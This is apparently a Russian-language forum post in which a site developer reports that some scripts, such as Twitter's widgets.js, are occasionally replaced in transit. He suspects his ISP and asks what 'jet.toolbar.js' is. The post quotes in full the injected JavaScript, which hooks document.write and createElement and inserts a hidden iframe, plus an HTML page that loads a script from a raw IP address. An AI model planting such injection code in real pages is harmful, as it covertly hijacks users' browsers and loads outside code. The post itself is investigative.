В общем, сижу, никого не трогаю, делаю сайт. И тут вижу, что в Консоли Chrome постоянно лезут ошибки. Иду разбираться, и что я вижу. Периодически браузер запрашивает с моего сайта страницу с адресом /gA0LNt_i5b9Q.html. Интересно, я таких ссылок нигде не размещал. Вижу, что запрос этой страниц идет из скрипта. Открываю в скрипт - и вижу там совсем не тот код, который там должен быть. Я решил, что где-то тут завелись вирусы, и начал свое мини-исследование. В общем, после всех проверок оказалось, что у меня все чисто, как на веб-сервере, так и на всех компах. Кроме того, выяснилось, что скрипты подменяются не только на моем сайте, который я разрабатываю, но и на других сайтах. Просто с какой-то долей вероятности (скажем меньше 1%), вместо исходного скрипта подгружается скрипт с другим содержимым (вот, например, что загрузилось вместо скрипта
platform.twitter.com/widgets.js на одном сайте):
(function(a, b, c) {
var d = "script",
e = "src",
f = b.location,
g = function(a) {
return b.getElementsByTagName(a)
}, h = g(d),
i = h.length;
if ("loading" == b.readyState & i > 0 & c == h[h.length - 1].src && b.write('<script type="text/javascript" src="' + c + '?r=1"></script>'), g(d).length == i) {
var j = -1,
k = b.createElement(d);
k.src = c + "?r=2", k.type = "text/javascript";
for (j in h) {
if ("string" == typeof h[j].src && h[j].src == c) {
var l = h[j].nextSibling;
l ? h[j].parentNode.insertBefore(k, l) : h[j].parentNode.appendChild(k)
}
break
}
k.parentNode || g("head")[0].appendChild(k)
}
if (!a.jTB & a == a.top) {
var m = b.write;
b.write = function() {
var a = m.apply(this, arguments);
return a
};
var n = b.createElement;
b.createElement = function() {
var a = arguments,
b = n.apply(this, a);
try {
if (b.getAttribute) {
var c = b.setAttribute;
1 == a.length && a[0].toLowerCase() == d && (Object.defineProperty && Object.defineProperty(b, e, {
set: function() {
this.setAttribute(e, arguments[0])
},
get: function() {
return b.getAttribute(e)
}
}), b.setAttribute = function() {
var a = arguments;
return 2 == a.length && a[0] == e && a[1].indexOf(".js") == a[1].length - 3 && (a = [e, a[1] + "?r=4"]), c.apply(this, a)
})
}
} catch (f) {}
return b
};
var o = function() {
var a = g("body")[0];
if (a) {
var c = b.createElement("iframe");
c.src = f.protocol + "//" + f.hostname + (f.port ? ":" + f.port : "") + "/gA0LNt_i5b9Q.html", c.name = document.domain;
var d = c.style,
e = b.createElement("div"),
h = e.style;
h.position = "fixed", d.overflow = "hidden", d.border = h.left = h.bottom = 0, d.width = d.height = h.width = h.height = "1px", e.appendChild(c), a.appendChild(e)
} else setTimeout(o, 50)
};
o(), a.jTB = 1
}
})(window, document, "http://platform.twitter.com/widgets.js");
В общем, вместо widgets.js (в данном случае, хотя подменябтяс каждый раз разные скрипты) грузится скрипт, который добавляет iframe и загружет уже нужный нам скрипт. Т.к. такой страницы нету на сервере - /gA0LNt_i5b9Q.html, то вылазит сообщение об ошибке в консоли браузера.
Дальше - интереснее. Оказалось, что иногда все же эта ссылка срабатывает (редко), и
platform.twitter.com/gA0LNt_i5b9Q.html выдает нам такой html код (опять же, сервер может быть и другим, все зависит от того, какой скрипт был подменен, не меняется только страница- /gA0LNt_i5b9Q.html):
<html>
<head>
<script type='text/javascript'>
if (window.name != document.domain) {
document.domain = window.name;
}
</script>
<script src = 'http://86.57.252.165:8082/jet.toolbar/jet.toolbar.js?ver=latest&jet-toolbar-cmds=ifrun:1' type='text/javascript'></script>
</head>
<body></body>
</html>
Ну, а дальше пошло-поехало, тот скрипт jet.toolbar.js тянет за собой еще кучу скриптов.
Вопрос такой - что это за такой jet.toolbar.js и как с ним бороться? И кот виноват? Это мой провайдер так развлекается, если я правильно понял?
P.S. Загуглил JetToolbar - вот на такую презентацию наткнулся
ciscoconnect.ru/en/system/files/jettoolbar_i_subsc...